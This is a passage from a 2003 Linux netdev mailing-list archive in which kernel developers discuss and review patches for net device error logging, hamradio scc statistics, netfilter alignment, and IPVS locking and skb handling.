orsmsx331.amr.corp.intel.com ([192.168.65.56]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091619060210829 ; Tue, 16 Sep 2003 19:06:02 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx331.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 16 Sep 2003 19:06:02 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: [PATCH] Net device error logging, revised Date: Tue, 16 Sep 2003 19:06:01 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH] Net device error logging, revised Thread-Index: AcN73qqL6xcF06HFQk+v7BYiIraw8AA4GNpg From: "Feldman, Scott" To: "Jim Keniston" , "LKML" , "netdev" , "Jeff Garzik" , "Larry Kessler" , "Greg KH" , "Randy Dunlap" , "Alan Cox" , "Andrew Morton" Cc: "David Brownell" , "Stephen Hemminger" X-OriginalArrivalTime: 17 Sep 2003 02:06:02.0206 (UTC) FILETIME=[3E958FE0:01C37CC0] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8H269Ya011122 X-archive-position: 9 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > 3. A new macro, netdev_fatal, is included. Given the call > netdev_fatal(dev, HW, "NIC fried!\n"); > the indicated message is always logged: the msglevel arg (HW, in this > case) is NOT consulted. In fact, the msglevel arg to netdev_fatal > is ignored in this implementation. (As previously discussed, in some > future implementation, the msglevel could be logged to help indicate > the circumstances under which the event was logged.) I couldn't find the previous discussion on netdev_fatal, so sorry if this has already been worked out. It uses KERN_ERR; did you mean something stronger? If not, why not just use netdev_err(dev, ALL, "...")? What is the situation in the driver where we'd want to use _fatal? How do I know when to use _fatal and when to use _err? -scott From martijn@esrac.ele.tue.nl Tue Sep 16 23:33:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 23:33:15 -0700 (PDT) Received: from imstfw.imst.de (imstfunk.uni-duisburg.de [134.91.226.254]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H6WqYa023230 for ; Tue, 16 Sep 2003 23:33:02 -0700 Received: from imst153.imst.de (imst153.imst.de [134.91.232.53]) by imstfw.imst.de (8.9.3/8.9.3) with ESMTP id IAA09883; Wed, 17 Sep 2003 08:34:12 +0200 Subject: Re: [PATCH] hamradio/scc - From: Martijn Hijdra To: Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20030915162335.0034a551.shemminger@osdl.org> References: <20030915162335.0034a551.shemminger@osdl.org> Content-Type: multipart/mixed; boundary="=-hN8ySaqxnHj08rJ9vSsJ" Message-Id: <1063780541.2971.4.camel@imst153.imst.de> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-8mdk Date: Wed, 17 Sep 2003 08:35:41 +0200 X-archive-position: 10 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: martijn@esrac.ele.tue.nl Precedence: bulk X-list: netdev --=-hN8ySaqxnHj08rJ9vSsJ Content-Type: text/plain Content-Transfer-Encoding: 7bit On Tue, 2003-09-16 at 01:23, Stephen Hemminger wrote: > Update hamradio/scc for 2.6.0-test5 > - use seq_file for /proc > - get rid of dev_get() > - use alloc_netdev > Hi, and another small patch for hamradio/scc to fill the statistics counters for the scc driver. (see output of ifconfig RX bytes and TX bytes) -- Martijn Hijdra --=-hN8ySaqxnHj08rJ9vSsJ Content-Disposition: attachment; filename=scc_260t5.diff Content-Type: text/x-patch; name=scc_260t5.diff; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit --- drivers/net/hamradio/scc.c.orig 2003-08-23 01:58:57.000000000 +0200 +++ drivers/net/hamradio/scc.c 2003-09-03 08:57:50.000000000 +0200 @@ -1635,6 +1635,7 @@ } scc->dev_stat.rx_packets++; + scc->dev_stat.rx_bytes += skb->len; skb->dev = scc->dev; skb->protocol = htons(ETH_P_AX25); @@ -1661,6 +1662,7 @@ } scc->dev_stat.tx_packets++; + scc->dev_stat.tx_bytes += skb->len; scc->stat.txframes++; kisscmd = *skb->data & 0x1f; --- include/linux/scc.h.orig 2003-09-03 09:13:26.000000000 +0200 +++ include/linux/scc.h 2003-09-03 09:13:55.000000000 +0200 @@ -200,7 +200,7 @@ unsigned char fulldup; /* Full Duplex mode 0=CSMA 1=DUP 2=ALWAYS KEYED */ unsigned char waittime; /* Waittime before any transmit attempt */ unsigned int maxkeyup; /* Maximum time to transmit (seconds) */ - unsigned char mintime; /* Minimal offtime after MAXKEYUP timeout (seconds) */ + unsigned int mintime; /* Minimal offtime after MAXKEYUP timeout (seconds) */ unsigned int idletime; /* Maximum idle time in ALWAYS KEYED mode (seconds) */ unsigned int maxdefer; /* Timer for CSMA channel busy limit */ unsigned char tx_inhibit; /* Transmit is not allowed when set */ --=-hN8ySaqxnHj08rJ9vSsJ-- From davem@pizda.ninka.net Wed Sep 17 00:08:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 00:08:53 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H78gYa025376 for ; Wed, 17 Sep 2003 00:08:42 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA01030; Tue, 16 Sep 2003 23:56:50 -0700 Date: Tue, 16 Sep 2003 23:56:50 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: tommy@home.tig-grr.com, laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030916235650.0844021b.davem@redhat.com> In-Reply-To: <200309170842.17766.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <200309161757.50682.bdschuym@pandora.be> <20030916182335.359c419f.davem@redhat.com> <200309170842.17766.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 11 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 17 Sep 2003 08:42:17 +0200 Bart De Schuymer wrote: > > Also, adding attributes to user exported structures would need > > to be done _very_ carefully, as compilation when using such > > gcc extensions will fail when the user uses '-ansi' on the > > compiler command line. > > Now why on Earth would I have to bother with some luser doing this? I'm not > the slave of annoying users. Because you can make his life simpler merely by adding the right __extension__() around the attribute designation, just like glibc does in it's headers. It takes nearly no effort on your part and makes life simpler for everyone writing userspace programs. From bdschuym@pandora.be Wed Sep 17 00:20:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 00:21:01 -0700 (PDT) Received: from apate.telenet-ops.be (apate.telenet-ops.be [195.130.132.57]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H7KdYa029134 for ; Wed, 17 Sep 2003 00:20:40 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by apate.telenet-ops.be (Postfix) with SMTP id C005D37E86; Wed, 17 Sep 2003 08:42:11 +0200 (MEST) Received: from 192.168.123.138 (D5762BF3.kabel.telenet.be [213.118.43.243]) by apate.telenet-ops.be (Postfix) with ESMTP id 69B0137E9B; Wed, 17 Sep 2003 08:42:10 +0200 (MEST) From: Bart De Schuymer To: "David S. Miller" Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Wed, 17 Sep 2003 08:42:17 +0200 User-Agent: KMail/1.5 Cc: tommy@home.tig-grr.com, laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <200309161757.50682.bdschuym@pandora.be> <20030916182335.359c419f.davem@redhat.com> In-Reply-To: <20030916182335.359c419f.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309170842.17766.bdschuym@pandora.be> X-archive-position: 12 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Wednesday 17 September 2003 03:23, David S. Miller wrote: > But recall that there are other netfilter modules doing this > "compare chars using cast to long" trick that need to be fixed > too. Well, acme hasn't reported any other issues. Perhaps Rusty had foresight about these possible issues and made sure alignment was good... In which case I don't see any reason for altering his code. > Also, adding attributes to user exported structures would need > to be done _very_ carefully, as compilation when using such > gcc extensions will fail when the user uses '-ansi' on the > compiler command line. Now why on Earth would I have to bother with some luser doing this? I'm not the slave of annoying users. cheers, Bart From wensong@linux-vs.org Wed Sep 17 10:09:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 10:09:58 -0700 (PDT) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HH9gYa012211 for ; Wed, 17 Sep 2003 10:09:43 -0700 Received: from penguin.linux-vs.org ([211.136.72.123]) by lb1.ctrip.com (8.12.9/8.12.9) with ESMTP id h8HH8lNd031427 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Thu, 18 Sep 2003 01:09:23 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id h8HGrkNr016044; Thu, 18 Sep 2003 00:53:46 +0800 Date: Thu, 18 Sep 2003 00:53:46 +0800 (CST) From: Wensong Zhang To: Stephen Hemminger cc: lvs-users@LinuxVirtualServer.org, Subject: Re: [PATCH] (6/6) ipvs -- get rid of skb_linearize In-Reply-To: <20030916142350.1da23a4a.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 14 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev Hi, On Tue, 16 Sep 2003, Stephen Hemminger wrote: > Get rid of skb_linearize warnings, by using may_pull to get the > header where needed. > I am not sure if the calls of skb_share_check() are necessary, because the ip_rcv has already done the skb share check for receiving packets. I don't know if other netfilter hooks can inject a shared skb. Yes, we need to change IPVS to handle nonlinear skb as soon as possible, and remove these skb_linearize warnings. Thanks, Wensong > diff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c > --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:11:17 2003 > +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:11:17 2003 > @@ -382,6 +382,10 @@ > return 0; > > iph = skb->nh.iph; > + if (!pskb_may_pull(skb, (iph->ihl*4)+sizeof(*th))) > + return 0; > + > + iph = skb->nh.iph; > th = (struct tcphdr *)&(((char *)iph)[iph->ihl*4]); > > /* > @@ -436,6 +440,10 @@ > * this ip_vs_conn. > */ > if ((app = cp->app) == NULL) > + return 0; > + > + iph = skb->nh.iph; > + if (!pskb_may_pull(skb, (iph->ihl*4)+sizeof(*th))) > return 0; > > iph = skb->nh.iph; > diff -Nru a/net/ipv4/ipvs/ip_vs_core.c b/net/ipv4/ipvs/ip_vs_core.c > --- a/net/ipv4/ipvs/ip_vs_core.c Tue Sep 16 14:11:17 2003 > +++ b/net/ipv4/ipvs/ip_vs_core.c Tue Sep 16 14:11:17 2003 > @@ -526,11 +526,11 @@ > *skb_p = skb; > } > > - if (skb_is_nonlinear(skb)) { > - if (skb_linearize(skb, GFP_ATOMIC) != 0) > - return NF_DROP; > - ip_send_check(skb->nh.iph); > - } > + if (!(skb = skb_share_check(skb, GFP_ATOMIC))) > + return NF_STOLEN; > + > + if (!pskb_may_pull(skb, sizeof(*iph) + sizeof(*icmph))) > + return NF_DROP; > > iph = skb->nh.iph; > ihl = iph->ihl << 2; > @@ -726,11 +726,12 @@ > * do final checksum checking. > */ > > - if (unlikely(cp->app && !pp->slave && skb_is_nonlinear(skb))) { > - if (skb_linearize(skb, GFP_ATOMIC) != 0) { > + if (unlikely(cp->app && !pp->slave)) { > + if (!(skb = skb_share_check(skb, GFP_ATOMIC))) { > ip_vs_conn_put(cp); > - return NF_DROP; > + return NF_STOLEN; > } > + > iph = skb->nh.iph; > h.raw = (char*) iph + ihl; > } > @@ -816,12 +817,13 @@ > int rc; > > *related = 1; > - if (skb_is_nonlinear(skb)) { > - if (skb_linearize(skb, GFP_ATOMIC) != 0) > - return NF_DROP; > - ip_send_check(skb->nh.iph); > - } > - > + if (!pskb_may_pull(skb, sizeof(*iph))) > + return NF_DROP; > + > + iph = skb->nh.iph; > + if (!pskb_may_pull(skb, iph->ihl*4 + sizeof(*icmph))) > + return NF_DROP; > + > iph = skb->nh.iph; > icmph = (struct icmphdr *)((char *)iph+(iph->ihl<<2)); > len = ntohs(iph->tot_len) - (iph->ihl<<2); > diff -Nru a/net/ipv4/ipvs/ip_vs_xmit.c b/net/ipv4/ipvs/ip_vs_xmit.c > --- a/net/ipv4/ipvs/ip_vs_xmit.c Tue Sep 16 14:11:17 2003 > +++ b/net/ipv4/ipvs/ip_vs_xmit.c Tue Sep 16 14:11:17 2003 > @@ -265,13 +265,20 @@ > */ > > if (unlikely(cp->app && !pp->slave)) { > - if (skb_is_nonlinear(skb) && > - skb_linearize(skb, GFP_ATOMIC) != 0) > - return NF_DROP; > + if (!(skb = skb_share_check(skb, GFP_ATOMIC))) > + return NF_STOLEN; > + > } > > + if (!pskb_may_pull(skb, sizeof(*iph))) > + goto tx_error; > + > iph = skb->nh.iph; > ihl = iph->ihl << 2; > + if (!pskb_may_pull(skb, sizeof(*iph) + ihl)) > + goto tx_error; > + > + iph = skb->nh.iph; > h.raw = (char*) iph + ihl; > size = ntohs(iph->tot_len) - ihl; > > From wensong@linux-vs.org Wed Sep 17 10:09:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 10:09:56 -0700 (PDT) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HH9oYa012222 for ; Wed, 17 Sep 2003 10:09:50 -0700 Received: from penguin.linux-vs.org ([211.136.72.123]) by lb1.ctrip.com (8.12.9/8.12.9) with ESMTP id h8HH8lNf031427 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Thu, 18 Sep 2003 01:09:29 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id h8HGiGNr016043; Thu, 18 Sep 2003 00:44:16 +0800 Date: Thu, 18 Sep 2003 00:44:16 +0800 (CST) From: Wensong Zhang To: Stephen Hemminger cc: lvs-users@LinuxVirtualServer.org, Subject: Re: [PATCH] (4/6) ipvs -- use reader locks and refcounts correctly. In-Reply-To: <20030916142116.58a05005.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1463755008-979933807-1063817056=:15676" X-archive-position: 13 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463755008-979933807-1063817056=:15676 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, The locking change may be not very correct. On Tue, 16 Sep 2003, Stephen Hemminger wrote: > The code to get the service table was not taking a reader lock > because it needed to copy_to_user. > > Do it right: > - hold refcnt when copying out, and use a read lock There is no need to hold lock, because thread has already gained __ip_vs_mutex, there is no writer of service table, although net softirq may read service table, there is no conflict in reading the service table and copying out. > - make lock local to ip_svc Good. > - get rid of IP_VS_WAIT_WHILE, use proper read locks and refcounts. We have to use IP_VS_WAIT_WHILE to wait that all service users put back the service, because the user doesn't hold read locks all the time while using the service, it just increase the usecnt to indicate that the service is used and release the read lock immediately. Before the user put back the service, we cannot remove it. > - move write_lock_bh in flush to outside of loop Not necessary, because it has already hold __ip_vs_mutex, there is only one writer. > - tag user pointers (for sparse). > OK. So, maybe we just apply the simple patch with making the lock local and tagging user pointers. Thanks, Wensong > diff -Nru a/include/net/ip_vs.h b/include/net/ip_vs.h > --- a/include/net/ip_vs.h Tue Sep 16 14:08:55 2003 > +++ b/include/net/ip_vs.h Tue Sep 16 14:08:55 2003 > @@ -319,8 +319,6 @@ > #define LeaveFunction(level) do {} while (0) > #endif > > -#define IP_VS_WAIT_WHILE(expr) while (expr) { cpu_relax(); } > - > > /* > * The port number of FTP service (in network order). > diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c > --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:55 2003 > +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:55 2003 > @@ -48,7 +48,7 @@ > static DECLARE_MUTEX(__ip_vs_mutex); > > /* lock for service table */ > -rwlock_t __ip_vs_svc_lock = RW_LOCK_UNLOCKED; > +static rwlock_t __ip_vs_svc_lock = RW_LOCK_UNLOCKED; > > /* lock for table with the real services */ > static rwlock_t __ip_vs_rs_lock = RW_LOCK_UNLOCKED; > @@ -808,11 +808,6 @@ > > write_lock_bh(&__ip_vs_svc_lock); > > - /* > - * Wait until all other svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); > - > list_add(&dest->n_list, &svc->destinations); > svc->num_dests++; > > @@ -838,11 +833,6 @@ > > write_lock_bh(&__ip_vs_svc_lock); > > - /* > - * Wait until all other svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); > - > list_add(&dest->n_list, &svc->destinations); > svc->num_dests++; > > @@ -980,12 +970,6 @@ > } > > write_lock_bh(&__ip_vs_svc_lock); > - > - /* > - * Wait until all other svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); > - > /* > * Unlink dest from the service > */ > @@ -1118,11 +1102,6 @@ > write_lock_bh(&__ip_vs_svc_lock); > > /* > - * Wait until all other svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); > - > - /* > * Set the flags and timeout value > */ > svc->flags = u->flags | IP_VS_SVC_F_HASHED; > @@ -1235,11 +1214,6 @@ > > ip_vs_svc_unhash(svc); > > - /* > - * Wait until all the svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); > - > __ip_vs_del_service(svc); > > write_unlock_bh(&__ip_vs_svc_lock); > @@ -1259,16 +1233,11 @@ > /* > * Flush the service table hashed by > */ > + write_lock_bh(&__ip_vs_svc_lock); > for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { > list_for_each_entry_safe(svc, nxt, &ip_vs_svc_table[idx], s_list) { > - write_lock_bh(&__ip_vs_svc_lock); > ip_vs_svc_unhash(svc); > - /* > - * Wait until all the svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 0); > __ip_vs_del_service(svc); > - write_unlock_bh(&__ip_vs_svc_lock); > } > } > > @@ -1278,16 +1247,11 @@ > for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { > list_for_each_entry_safe(svc, nxt, > &ip_vs_svc_fwm_table[idx], f_list) { > - write_lock_bh(&__ip_vs_svc_lock); > ip_vs_svc_unhash(svc); > - /* > - * Wait until all the svc users go away. > - */ > - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 0); > __ip_vs_del_service(svc); > - write_unlock_bh(&__ip_vs_svc_lock); > } > } > + write_unlock_bh(&__ip_vs_svc_lock); > > return 0; > } > @@ -1926,7 +1890,7 @@ > > static inline int > __ip_vs_get_service_entries(const struct ip_vs_get_services *get, > - struct ip_vs_get_services *uptr) > + struct ip_vs_get_services __user *uptr) > { > int idx, count=0; > struct ip_vs_service *svc; > @@ -1966,7 +1930,7 @@ > > static inline int > __ip_vs_get_dest_entries(const struct ip_vs_get_dests *get, > - struct ip_vs_get_dests *uptr) > + struct ip_vs_get_dests __user *uptr) > { > struct ip_vs_service *svc; > int ret = 0; > @@ -1981,6 +1945,7 @@ > struct ip_vs_dest *dest; > struct ip_vs_dest_entry entry; > > + read_lock_bh(&__ip_vs_svc_lock); > list_for_each_entry(dest, &svc->destinations, n_list) { > if (count >= get->num_dests) > break; > @@ -1994,15 +1959,25 @@ > entry.activeconns = atomic_read(&dest->activeconns); > entry.inactconns = atomic_read(&dest->inactconns); > entry.persistconns = atomic_read(&dest->persistconns); > + > ip_vs_copy_stats(&entry.stats, &dest->stats); > + > + atomic_inc(&dest->refcnt); > + read_unlock_bh(&__ip_vs_svc_lock); > if (copy_to_user(&uptr->entrytable[count], > &entry, sizeof(entry))) { > ret = -EFAULT; > break; > } > count++; > + > + read_lock_bh(&__ip_vs_svc_lock); > + if (atomic_dec_and_test(&dest->refcnt)) > + kfree(dest); > + > } > ip_vs_service_put(svc); > + read_unlock_bh(&__ip_vs_svc_lock); > } else > ret = -ESRCH; > return ret; > @@ -2043,7 +2018,7 @@ > }; > > static int > -do_ip_vs_get_ctl(struct sock *sk, int cmd, void *user, int *len) > +do_ip_vs_get_ctl(struct sock *sk, int cmd, void __user *user, int *len) > { > unsigned char arg[128]; > int ret = 0; > ---1463755008-979933807-1063817056=:15676 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="typetidyup.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="typetidyup.patch" ZGlmZiAtTnJ1IGEvbmV0L2lwdjQvaXB2cy9pcF92c19jdGwuYyBiL25ldC9p cHY0L2lwdnMvaXBfdnNfY3RsLmMNCi0tLSBhL25ldC9pcHY0L2lwdnMvaXBf dnNfY3RsLmMgVGh1IFNlcCAxOCAwMDo0MzowMCAyMDAzDQorKysgYi9uZXQv aXB2NC9pcHZzL2lwX3ZzX2N0bC5jIFRodSBTZXAgMTggMDA6NDM6MDAgMjAw Mw0KQEAgLTQ2LDcgKzQ2LDcgQEANCiBzdGF0aWMgREVDTEFSRV9NVVRFWChf X2lwX3ZzX211dGV4KTsNCiANCiAvKiBsb2NrIGZvciBzZXJ2aWNlIHRhYmxl ICovDQotcndsb2NrX3QgX19pcF92c19zdmNfbG9jayA9IFJXX0xPQ0tfVU5M T0NLRUQ7DQorc3RhdGljIHJ3bG9ja190IF9faXBfdnNfc3ZjX2xvY2sgPSBS V19MT0NLX1VOTE9DS0VEOw0KIA0KIC8qIGxvY2sgZm9yIHRhYmxlIHdpdGgg dGhlIHJlYWwgc2VydmljZXMgKi8NCiBzdGF0aWMgcndsb2NrX3QgX19pcF92 c19yc19sb2NrID0gUldfTE9DS19VTkxPQ0tFRDsNCkBAIC0xOTEyLDcgKzE5 MTIsNyBAQA0KIA0KIHN0YXRpYyBpbmxpbmUgaW50DQogX19pcF92c19nZXRf c2VydmljZV9lbnRyaWVzKGNvbnN0IHN0cnVjdCBpcF92c19nZXRfc2Vydmlj ZXMgKmdldCwNCi0gICAgICAgICAgICAgICAgICAgc3RydWN0IGlwX3ZzX2dl dF9zZXJ2aWNlcyAqdXB0cikNCisgICAgICAgICAgICAgICAgICAgc3RydWN0 IGlwX3ZzX2dldF9zZXJ2aWNlcyBfX3VzZXIgKnVwdHIpDQogew0KICAgICAg aW50IGlkeCwgY291bnQ9MDsNCiAgICAgIHN0cnVjdCBpcF92c19zZXJ2aWNl ICpzdmM7DQpAQCAtMTk1NSw3ICsxOTU1LDcgQEANCiANCiBzdGF0aWMgaW5s aW5lIGludA0KIF9faXBfdnNfZ2V0X2Rlc3RfZW50cmllcyhjb25zdCBzdHJ1 Y3QgaXBfdnNfZ2V0X2Rlc3RzICpnZXQsDQotICAgICAgICAgICAgICAgIHN0 cnVjdCBpcF92c19nZXRfZGVzdHMgKnVwdHIpDQorICAgICAgICAgICAgICAg IHN0cnVjdCBpcF92c19nZXRfZGVzdHMgX191c2VyICp1cHRyKQ0KIHsNCiAg ICAgIHN0cnVjdCBpcF92c19zZXJ2aWNlICpzdmM7DQogICAgICBpbnQgcmV0 ID0gMDsNCkBAIC0yMDM0LDcgKzIwMzQsNyBAQA0KIH07DQogDQogc3RhdGlj IGludA0KLWRvX2lwX3ZzX2dldF9jdGwoc3RydWN0IHNvY2sgKnNrLCBpbnQg Y21kLCB2b2lkICp1c2VyLCBpbnQgKmxlbikNCitkb19pcF92c19nZXRfY3Rs KHN0cnVjdCBzb2NrICpzaywgaW50IGNtZCwgdm9pZCBfX3VzZXIgKnVzZXIs IGludCAqbGVuKQ0KIHsNCiAgICAgIHVuc2lnbmVkIGNoYXIgYXJnWzEyOF07 DQogICAgICBpbnQgcmV0ID0gMDsNCg== ---1463755008-979933807-1063817056=:15676-- From wensong@linux-vs.org Wed Sep 17 10:09:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 10:10:03 -0700 (PDT) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HH9uYa012225 for ; Wed, 17 Sep 2003 10:09:56 -0700 Received: from penguin.linux-vs.org ([211.136.72.123]) by lb1.ctrip.com (8.12.9/8.12.9) with ESMTP id h8HH8lNh031427 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Thu, 18 Sep 2003 01:09:38 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id h8HFxkNr015970; Wed, 17 Sep 2003 23:59:47 +0800 Date: Wed, 17 Sep 2003 23:59:46 +0800 (CST) From: Wensong Zhang To: Stephen Hemminger cc: lvs-users@LinuxVirtualServer.org, Subject: Re: [PATCH] (1/6) ipvs -- get rid of SEQ_START_TOKEN define In-Reply-To: <20030916141731.276de60c.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 15 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev On Tue, 16 Sep 2003, Stephen Hemminger wrote: > Applies to 2.6.0-test5 with my seq_file patches from yesterday. > OK, thanks! Dave, please apply this patch. Regards, Wensong > Get rid of SEQ_START_TOKEN -- already defined in proc_fs.hdiff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c > --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:11 2003 > +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:11 2003 > @@ -485,8 +485,6 @@ > /* > * /proc/net/ip_vs_app entry function > */ > -#define SEQ_START_TOKEN ((void *)1) > - > static struct ip_vs_app *ip_vs_app_idx(loff_t pos) > { > loff_t off = 0; > diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c > --- a/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:08:11 2003 > +++ b/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:08:11 2003 > @@ -616,8 +616,6 @@ > */ > #ifdef CONFIG_PROC_FS > > -#define SEQ_START_TOKEN ((void *)1) > - > static void *ip_vs_conn_array(struct seq_file *seq, loff_t pos) > { > struct list_head *e; > diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c > --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:11 2003 > +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:11 2003 > @@ -1516,8 +1516,6 @@ > int bucket; > }; > > - > -#define SEQ_START_TOKEN ((void *)1) > /* > * Write the contents of the VS rule table to a PROCfs file. > * (It is kept just for backward compatibility) > From wensong@linux-vs.org Wed Sep 17 10:10:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 10:10:11 -0700 (PDT) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HHA3Ya012248 for ; Wed, 17 Sep 2003 10:10:05 -0700 Received: from penguin.linux-vs.org ([211.136.72.123]) by lb1.ctrip.com (8.12.9/8.12.9) with ESMTP id h8HH8lNj031427 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Thu, 18 Sep 2003 01:09:43 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id h8HG9qNr015979; Thu, 18 Sep 2003 00:09:52 +0800 Date: Thu, 18 Sep 2003 00:09:52 +0800 (CST) From: Wensong Zhang To: Stephen Hemminger cc: lvs-users@LinuxVirtualServer.org, Subject: Re: [PATCH] (2/6) ipvs -- get rid of register in declarations In-Reply-To: 